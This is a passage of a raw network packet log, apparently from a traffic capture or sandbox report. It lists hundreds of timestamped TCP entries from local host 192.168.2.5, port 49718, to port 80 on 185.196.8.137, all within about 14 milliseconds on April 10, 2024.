Apr 10, 2024 10:24:11.314264059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314291954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314410925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314410925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314532042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314532042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314553022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314596891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314596891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314678907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314678907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314713001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314806938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314806938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314853907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314892054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314892054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314923048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314923048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315150023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315150023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315177917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315221071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315221071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315274000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315274000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315274954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315334082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315334082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315334082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315387011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315387011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315428019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315428019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315444946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315577030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315577030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315602064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315639019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315639019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315665960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315741062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315741062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315797091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315797091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315885067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315885067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315885067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315911055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315949917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315949917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.315995932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316020012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316071987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316071987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316087961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316231012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316277981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316325903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316325903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316356897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316368103 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316431999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316431999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316431999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316448927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316495895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316495895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316519022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316530943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316673994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316673994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316698074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316742897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316742897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316807032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316844940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316920042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316920042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316987991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316987991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.316987991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317065001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317065001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317128897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317128897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317128897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317162037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317174911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317389965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317389965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317423105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317446947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317446947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317514896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317514896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317514896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317532063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317598104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317598104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317598104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317636013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317636013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317744017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317794085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317794085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317881107 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317915916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317982912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.317982912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318005085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318051100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318051100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318121910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318121910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318145037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318195105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318195105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318202972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318243027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318419933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318419933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318444014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318501949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318501949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318501949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318542957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318542957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318557978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318599939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318599939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318667889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318667889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318667889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318698883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318847895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318847895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318955898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318955898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.318955898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319041967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319041967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319098949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319098949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319098949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319180965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319180965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319202900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319272041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319272041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319272041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319312096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319489956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319489956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319514990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319572926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319572926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319572926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319586039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319655895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319655895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319655895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319673061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319720030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319720030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319762945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319880962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319880962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319938898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319938898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319938898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.319976091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320055962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320055962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320113897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320113897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320113897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320210934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320235968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320281029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320281029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320353985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320353985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320415974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320415974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320415974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320461988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320461988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320641994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320641994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320713043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320713043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320713043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320780039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320780039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320780993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320843935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320843935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.320843935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321002960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321002960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321002960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321065903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321065903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321065903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321065903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321249008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321398020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321398973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321398973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321408033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321515083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321515083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321515083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321695089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321779013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321885109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321885109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321986914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.321986914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322092056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322092056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322144032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322156906 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322195053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322221041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322316885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322581053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322581053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322670937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322670937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322670937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322763920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322763920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322763920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322807074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322819948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.322923899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323028088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323049068 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323112965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323112965 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323164940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323257923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323257923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323318005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323327065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323422909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323458910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323566914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323566914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323594093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323685884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323685884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323685884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323734999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323992014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.323992014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324033976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324084044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324084044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324147940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324147940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324182987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324235916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324235916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324399948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324399948 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324453115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324474096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324585915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324585915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324642897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324642897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324767113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324767113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324799061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324834108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324913979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324949026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.324960947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325027943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325257063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325349092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325349092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325349092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325407028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325426102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325495005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325495005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325517893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325661898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325661898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325728893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325728893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325860977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325860977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325917006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325917006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.325984955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326060057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326060057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326215982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326215982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326276064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326320887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326355934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326400995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326457024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326555014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326555014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326685905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326685905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326685905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326747894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326792955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326836109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.326873064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.327161074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.327975988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328044891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328044891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328044891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328110933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328110933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328110933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328176975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328176975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328176975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328211069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328241110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328241110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.328301907 CEST	49718	80	192.168.2.5	185.196.8.137
